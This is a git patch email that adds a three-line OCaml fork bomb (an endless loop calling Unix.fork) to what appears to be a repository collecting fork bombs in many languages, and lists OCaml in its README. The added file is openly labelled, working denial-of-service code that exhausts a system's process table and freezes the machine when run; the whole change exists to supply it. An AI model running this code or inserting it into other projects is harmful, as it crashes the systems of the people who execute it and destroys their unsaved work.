From de9c65a4817a652be5d8a51d6ba5df52294d10e9 Mon Sep 17 00:00:00 2001
From: Beiming Zhang <thebeimingzhang@outlook.com>
Date: Sun, 27 Oct 2024 16:02:11 +0800
Subject: [PATCH] Add fork-bomb in OCaml

---
 README.md    | 3 ++-
 fork-bomb.ml | 3 +++
 2 files changed, 5 insertions(+), 1 deletion(-)
 create mode 100644 fork-bomb.ml

diff --git a/README.md b/README.md
index ec2bf67..3ae819b 100644
--- a/README.md
+++ b/README.md
@@ -34,4 +34,5 @@ Current languages:
  - Scheme
  - Shell
  - Visual Basic
- 
\ No newline at end of file
+ - OCaml
+ 
diff --git a/fork-bomb.ml b/fork-bomb.ml
new file mode 100644
index 0000000..1337036
--- /dev/null
+++ b/fork-bomb.ml
@@ -0,0 +1,3 @@
+while true do
+  Unix.fork () |> ignore
+done